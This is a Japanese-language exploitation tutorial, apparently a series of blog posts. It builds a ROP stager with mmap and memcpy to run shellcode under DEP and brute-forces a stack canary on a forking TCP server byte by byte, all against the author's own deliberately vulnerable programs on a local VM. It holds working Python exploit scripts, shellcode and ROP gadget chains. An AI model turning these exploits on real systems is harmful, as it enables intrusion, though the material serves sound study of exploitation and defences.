引数を変えながら実行し、libcを含む文字列を探した結果次の出力が得られた。

$ python exploit3.py 100 0x140000 0x10000 | strings | grep -i libc
libc
LIBC_FATAL_STDERR_
__libc_malloc
__libc_realloc
__libc_memalign
__libc_valloc
__libc_pvalloc
__libc_calloc
__libc_fork
glibc 2.15
libcidn.so.1
GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.5) stable release version 2.15, by Roland McGrath et al.
libc ABIs: UNIQUE IFUNC
cnt < (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word))
n <= (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word))
*** glibc detected *** %s: %s: 0x%s ***
__libc_errno != 34 || buf != ((void *)0) || size != 0

この結果から、使われているlibcがUbuntu EGLIBC 2.15-0ubuntu10.5であることがわかる。 このような情報をもとに同一のlibcバイナリを見つけることができれば、そのオフセット情報を利用してROPを行うことができる。 あるいは、出力したバイナリデータの中からROP gadgetを探して使うこともできる。

read/write以外のIO関数を使う

ここではIO関数としてread/writeを使ったが、ネットワークサーバにおけるsend/recvでも同様のことができる。 また、標準出力がfull bufferingでなければ、puts/getsでも可能である。 あるいは、実行ファイルに十分なROP gadgetがある場合、直接read/writeなどのシステムコールを呼ぶことも考えられる。 さらに、open関数やmmap関数などを合わせて使うことで、任意のファイルの読み書きを行うこともできる。

関連リンク

ROP stagerによるシェルコード実行をやってみる

DEPが有効な状況では、スタックバッファオーバーフローなどから命令を実行させるためにROPと呼ばれる手法が使われる。 さらに、ROPを使って任意の処理を実行させる方法として、実行可能なメモリ領域(stage)を動的に確保し、そこに通常のシェルコードをコピーし実行させるという方法が知られている。 この際使われるROPシーケンスはROP stagerと呼ばれる。 ここでは、DEPが有効な状況下で、mmapを使ったROP stagerによるシェルコード実行をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

mmapによるメモリ確保をやってみる

動的に実行可能なメモリ領域を用意する方法として、次の二つのアプローチが考えられる。

  • すでに存在するメモリ領域のアクセス保護属性を変更する(mprotect、VirtualProtectなどを利用)
  • 新たに実行可能なメモリ領域を確保する(mmap、VirtualAllocなどを利用)

ここでは、後者のアプローチについて考えることとする。 mmapはファイルを一定の範囲のメモリ領域に割り当てる関数であるが、flagにMAP_ANONYMOUSを指定することでゼロクリアされたメモリ領域の確保に使うこともできる。

$ man mmap
NAME
       mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
       #include <sys/mman.h>

       void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
       int munmap(void *addr, size_t length);

DESCRIPTION
       mmap()  creates  a  new  mapping  in the virtual address space of the calling process.  The starting address for the new mapping is specified in addr.  The length argument specifies the
       length of the mapping.

       (snip)

       In addition, zero or more of the following values can be ORed in flags:

       MAP_ANONYMOUS
              The mapping is not backed by any file; its contents are initialized to zero.  The fd and offset arguments are ignored; however, some implementations require fd to be -1 if MAP_ANONYMOUS  (or
              MAP_ANON) is specified, and portable applications should ensure this.  The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is only supported on Linux since kernel 2.4.

mmapを使って0x20000000から0x1000バイトのメモリ領域を読み書き実行可で確保し、そこにシェルコードをコピーして実行させるC言語のコードを書くと次のようになる。

/* mmap.c */
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    int addr = 0x20000000;
    void *returned_addr;

    returned_addr = mmap((void *)addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    printf("[+] addr = %p, returned_addr = %p\n", (void *)addr, returned_addr);
    printf("[+] prot = 0x%x, flag = 0x%x\n", PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS);
    memcpy((char *)addr, shellcode, strlen(shellcode));
    (*(void (*)())addr)();
    return 0;
}

コンパイルして実行すると、シェルコードによりシェルが起動する。

$ gcc mmap.c

$ ./a.out
[+] addr = 0x20000000, result_addr = 0x20000000
[+] prot = 0x7, flag = 0x22
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果からは、PROT_READ|PROT_WRITE|PROT_EXECが0x7、MAP_PRIVATE|MAP_ANONYMOUSが0x22であることも確認できる。

gdbで動作を確認してみる

gdbを使い、プログラム実行中のメモリの状態を確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048498
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048498 in main ()
(gdb) i proc
process 923
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/923/maps
08048000-08049000 r-xp 00000000 08:01 1966180    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966180    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966180    /home/user/tmp/a.out
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
...
(gdb) disas
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     push   edi
=> 0x08048498 <+4>:     and    esp,0xfffffff0
   0x0804849b <+7>:     sub    esp,0x60
   ...
   0x0804851d <+137>:   call   0x80483c0 <mmap@plt>
   0x08048522 <+142>:   mov    DWORD PTR [esp+0x3c],eax
   ...
   0x08048595 <+257>:   call   0x8048390 <memcpy@plt>
   0x0804859a <+262>:   mov    eax,DWORD PTR [esp+0x38]
   0x0804859e <+266>:   call   eax
   ...
(gdb) u *main+142
0x08048522 in main ()
(gdb) shell cat /proc/923/maps
08048000-08049000 r-xp 00000000 08:01 1966180    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966180    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966180    /home/user/tmp/a.out
20000000-20001000 rwxp 00000000 00:00 0
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
...

上の結果から、mmap実行後、0x20000000-0x20001000に読み書き実行可能なメモリ領域が確保されていることがわかる。 さらに、シェルコードにジャンプした後の様子を調べてみる。

(gdb) u *main+266
[+] addr = 0x20000000, result_addr = 0x20000000
[+] prot = 0x7, flag = 0x22
0x0804859e in main ()
(gdb) si
0x20000000 in ?? ()
(gdb) x/10i $pc
=> 0x20000000:  xor    edx,edx
   0x20000002:  push   edx
   0x20000003:  push   0x68732f2f
   0x20000008:  push   0x6e69622f
   0x2000000d:  mov    ebx,esp
   0x2000000f:  push   edx
   0x20000010:  push   ebx
   0x20000011:  mov    ecx,esp
   0x20000013:  lea    eax,[edx+0xb]
   0x20000016:  int    0x80
(gdb) c
Continuing.
process 923 is executing new program: /bin/dash
$
[Inferior 1 (process 923) exited normally]
(gdb) quit

0x20000000にコピーされたシェルコードに処理が移り、シェルが起動していることがわかる。

脆弱性のあるプログラムを用意する

mmapの動作を確認できたところで、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    gets(buf);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector bof.c

$ ./a.out
AAAA
AAAA

エクスプロイトコードを書いてみる

まず、rp++を使ってlibcに含まれるROP gadgetsを出力する。

$ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt

出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
addr_stage = 0x20000000

addr_libc_mmap = base_libc + 0x000ebeb0          # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " mmap"
addr_libc_memcpy = base_libc + 0x0007f790        # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " memcpy"
addr_libc_popad = base_libc + 0x0017f49b         # 0x0017f49b: popad  ; ret  ;  (3 found)
addr_libc_xchg_eax_edi = base_libc + 0x0008f9bc  # 0x0008f9bc: xchg eax, edi ; ret  ;  (1 found)
addr_libc_pop_esi = base_libc + 0x00019056       # 0x00019056: pop esi ; ret  ;  (296 found)
addr_libc_pop_ebp = base_libc + 0x0001700f       # 0x0001700f: pop ebp ; ret  ;  (1026 found)
addr_libc_pop_ebx = base_libc + 0x0001930e       # 0x0001930e: pop ebx ; ret  ;  (1149 found)
addr_libc_pushad = base_libc + 0x0000446c        # 0x0000446c: pushad  ; ret  ;  (3 found)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_libc_mmap)
buf += struct.pack('<I', addr_libc_popad)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', 0x1000)
buf += struct.pack('<I', 0x7)
buf += struct.pack('<I', 0x22)
buf += struct.pack('<I', 0xffffffff)
buf += struct.pack('<I', 0)
buf += 'AAAA' * 2

# prepared registers for pushad:
# edi = memcpy
# esi = addr_stage
# ebp = addr_stage
# esp = (keep as it is)
# ebx = len(shellcode)
# edx
# ecx
# eax
buf += struct.pack('<I', addr_libc_memcpy)
buf += struct.pack('<I', addr_libc_xchg_eax_edi)
buf += struct.pack('<I', addr_libc_pop_esi)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', addr_libc_pop_ebp)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', addr_libc_pop_ebx)
buf += struct.pack('<I', len(shellcode))
buf += struct.pack('<I', addr_libc_pushad)
buf += shellcode

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.wait()

このコードはlibcのベースアドレス、オーバーフローが起こせるバッファのサイズを順に引数に取る。

上のコードで使われているpushad命令は、8個のレジスタの値を一度にスタックに積む命令である。 pushad命令を実行すると、その時点でのレジスタの値がコメントに書かれた順でスタックに配置される。 このときespもスタックに積まれるので、espがshellcodeを指すように調整することでこれを引数とした関数呼び出しが可能になる。 上のコードでは、memcpy関数の第2引数となる位置にespが入り、これがshellcodeを指すようになっている。

popad命令は8個のレジスタの値を一度にスタックから取り出す命令である。 このとき取り出す順序はpushad命令の逆となるが、espのみレジスタにはセットされず無視される。 上のコードでは、mmapを呼び出した後その引数を読み飛ばすために使っている。

また、glibcにおいてmemcpyやstrcpyなどstring.hに含まれる関数を呼ぶ際には注意が必要である。 gdbを使い、memcpyのシンボルが指すアドレスをディスアセンブルすると次のようになる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048467
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048467 in main ()
(gdb) disas memcpy
Dump of assembler code for function memcpy:
   0xb7eaa790 <+0>:     push   ebx
   0xb7eaa791 <+1>:     call   0xb7f56d53
   0xb7eaa796 <+6>:     add    ebx,0x12685e
   0xb7eaa79c <+12>:    cmp    DWORD PTR [ebx+0x368c],0x0
   0xb7eaa7a3 <+19>:    jne    0xb7eaa7aa <memcpy+26>
   0xb7eaa7a5 <+21>:    call   0xb7e44850
   0xb7eaa7aa <+26>:    lea    eax,[ebx-0x126804]
   0xb7eaa7b0 <+32>:    test   DWORD PTR [ebx+0x369c],0x200
   0xb7eaa7ba <+42>:    je     0xb7eaa7d4 <memcpy+68>
   0xb7eaa7bc <+44>:    lea    eax,[ebx-0x6fc84]
   0xb7eaa7c2 <+50>:    test   DWORD PTR [ebx+0x36bc],0x1
   0xb7eaa7cc <+60>:    je     0xb7eaa7d4 <memcpy+68>
   0xb7eaa7ce <+62>:    lea    eax,[ebx-0x6bda4]
   0xb7eaa7d4 <+68>:    pop    ebx
   0xb7eaa7d5 <+69>:    ret
End of assembler dump.
(gdb) quit

このアセンブリコードはmemcpy関数の処理そのものではなく、CPUのタイプに応じて通常の関数、SSEを利用する関数、SSE2を利用する関数のポインタを返すコードになっている。 これはGNU indirect functionsと呼ばれるELFの拡張機能によるものであり、string.hに含まれる関数の多くはこれを利用し高速化を行っている。 上のコードが実行された後、選ばれた関数のアドレスはeaxにセットされるので、エクスプロイトコード中ではこの値を改めてediにセットしている。

シェルコードには、execveでシェルを起動する前に標準入出力のファイルディスクリプタを端末にするものを用意する。 エクスプロイトコード中において標準エラー出力のファイルディスクリプタ (2) は端末を指しているので、これを標準入出力 (0, 1) に複製するアセンブリコードを書くと次のようになる。

        /* dup_stderr.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* dup2(2, 0) */
        xor ecx, ecx
        lea ebx, [ecx+2]
        lea eax, [ecx+63]
        int 0x80
        /* dup2(2, 1) */
        lea eax, [ecx+63]
        inc ecx
        int 0x80
        /* execve("/bin//sh", ["/bin//sh", NULL], NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80

これをコンパイルしてディスアセンブルすることでシェルコードが得られる。

$ gcc -nostdlib shellcode.s

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x8d\x41\x3f\x41\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

必要に応じてbof.cをコンパイルし直した後、引数をセットしエクスプロイトコードを実行すると次のようになる。 ここでlibcのベースアドレスはgdbなどを利用して調べる。

$ gcc -fno-stack-protector bof.c

$ python exploit.py 0xb7e2b000 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0n\xf1\xb7\x9b\xa4\xfa\xb7\n'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

DEPが有効な状況下で、ROP stagerにより任意のシェルコードが実行できることが確認できた。

関連リンク

byte-by-byte bruteforceによるSSP回避

「Improper Null Terminationを利用したSSP回避」では、stack canaryの先頭にあるNULLバイトを上書きすることでcanaryの読み出しを行った。 この方法のほかにも、ネットワークサーバがforkサーバとして実装されている場合、1バイトごとのブルートフォースでcanaryを読み出すこともできる。 ここでは、簡単なforkサーバを用意し、ブルートフォースによりSSPを回避してシェルを起動してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

クライアントからの接続を受け付けるごとにforkするTCPサーバを書いてみる。

/* echod.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

void handle_client(int c)
{
    char buf[100];
    int size;
    printf("[+] client socket fd = %d\n", c);
    printf("[+] canary = %08x\n", *(int *)(buf+sizeof(buf)));
    recv(c, &size, 4, 0);
    recv(c, buf, size, 0);
    send(c, buf, size, 0);
}

int main(int argc, char *argv[])
{
    int s, c;
    struct sockaddr_in addr;
    int port;
    int pid;

    port = atoi(argv[1]);

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 5);

    while (1) {
        c = accept(s, NULL, NULL);
        pid = fork();
        if (pid == 0) {
            close(s);
            handle_client(c);
            send(c, "bye", 4, 0);
            close(c);
            return 0;
        } else {
            close(c);
        }
    }
}

このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。

ASLR無効、DEPSSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc echod.c

$ ./a.out 5000 &
[1] 28434

$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
AAAAbye

4バイトのデータを受信し、そのまま送り返せていることがわかる。 また、このときのクライアントソケットのファイルディスクリプタ番号は4、canaryの値は383a2600となっている。

子プロセスのstack canaryについて確認してみる

forkは親プロセスのプロセス空間をコピーすることで子プロセスを作る。そのため、canaryの値は親プロセスと子プロセスで同じになる。 つまり、何度forkしても子プロセスのcanaryの値はすべて同じ値となる。 このことは、上のプログラムで立ち上げたサーバに複数回接続することによって確認できる。

$ echo -e "\x04\x00\x00\x00AAAA" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
AAAAbye

$ echo -e "\x04\x00\x00\x00BBBB" | nc localhost 5000
[+] client socket fd = 4
[+] canary = 383a2600
BBBBbye

常にcanaryの値が0x383a2600となっていることがわかる。 このことを利用すると、canaryの値を1バイトずつブルートフォースすることができる。 最初の1バイトは必ず0x00となるようになっているため、canaryの値は最大256*3 = 768回で得ることができる。

なお、execveはプロセス空間を新しいプログラムによって置き換える。そのため、stack canaryはexecveの前後で別の値となる。

エクスプロイトコードを書いてみる

上の内容をもとに、canaryの値を1バイトずつブルートフォースするエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
import socket
import telnetlib

base_libc = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"
addr_libc_dup2 = base_libc + 0x000dfba0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " dup2"
addr_pop = 0x80485e3                       # objdump -d a.out | grep -B2 ret
addr_pop2 = 0x80485e2                      # objdump -d a.out | grep -B2 ret

sock_fd = 4

canary = ''
while len(canary) < 4:
    for i in xrange(256):
        s = socket.create_connection(('localhost', 5000))
        buf = 'A' * bufsize + canary + chr(i)
        s.sendall(struct.pack('<I', len(buf)))
        s.sendall(buf)
        s.recv(len(buf))
        buf = s.recv(4)
        s.close()
        if 'bye' in buf:
            canary += chr(i)
            print "[+] canary byte found: %r" % chr(i)
            break

print "[+] canary = %r" % canary

buf = 'A' * bufsize
buf += canary
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_pop)          # we need to save [ebp+0x08] for following send()
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', addr_libc_dup2)
buf += struct.pack('<I', addr_pop2)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_libc_dup2)
buf += struct.pack('<I', addr_pop2)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', len(buf)))
s.sendall(buf)
print "[+] received: %r" % s.recv(8192)

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

このコードは、libcのベースアドレス、バッファサイズを順に引数に取る。 ブルートフォースにおいては、canaryの書き換え後通常通り "bye" が送られてくるかどうかで値が一致しているかどうかを判定している。 また、次に示すディスアセンブル結果から、recvした後にも[ebp+0x8]としてsendの第一引数となる変数 c (=4) が参照されていることがわかる。

$ objdump -d a.out | sed -n '/<handle_client>:/,/^$/p'
08048614 <handle_client>:
 ...
 8048693:       e8 98 fe ff ff          call   8048530 <recv@plt>
 8048698:       8b 45 8c                mov    eax,DWORD PTR [ebp-0x74]
 804869b:       c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 80486a2:       00
 80486a3:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486a7:       8d 45 90                lea    eax,[ebp-0x70]
 80486aa:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80486ae:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486b1:       89 04 24                mov    DWORD PTR [esp],eax
 80486b4:       e8 97 fe ff ff          call   8048550 <send@plt>
 80486b9:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486bc:       65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
 80486c3:       74 05                   je     80486ca <handle_client+0xb6>
 80486c5:       e8 c6 fd ff ff          call   8048490 <__stack_chk_fail@plt>
 80486ca:       c9                      leave
 80486cb:       c3                      ret

このため、スタックバッファオーバーフローさせた後も[ebp+0x8]に4が入るように調整する必要がある。 その後、dup2でソケットのファイルディスクリプタを標準入出力に複製した後system関数からシェルを起動する。 また、エクスプロイトコード側では最後に端末からの入出力をソケットに繋ぐ必要があるが、ここではtelnetlibライブラリを利用してこれを行っている。

このコードを実行すると、サーバを起動した端末ではSSPによって出力されるエラーメッセージが大量に流れる。 そこで別の端末から、引数をセットしエクスプロイトコードを実行する。 ここで、libcのベースアドレスはgdbなどを利用して調べる。

$ python exploit.py 0xb7e2b000 100
[+] canary byte found: '\x00'
[+] canary byte found: '&'
[+] canary byte found: ':'
[+] canary byte found: '8'
[+] canary = '\x00&:8'
[+] received: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00&:8AAAAAAAAAAAA\xe3\x85\x04\x08\x04\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x00\x00\x00\x00\xa0\xab\xf0\xb7\xe2\x85\x04\x08\x04\x00\x00\x00\x01\x00\x00\x000\xa4\xe6\xb7\xb0\xdf\xe5\xb7\x98\xcd\xf8\xb7\x00\x00\x00\x00'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

ブルートフォースによりcanaryの値が得られ、シェルが起動できていることが確認できた。

関連リンク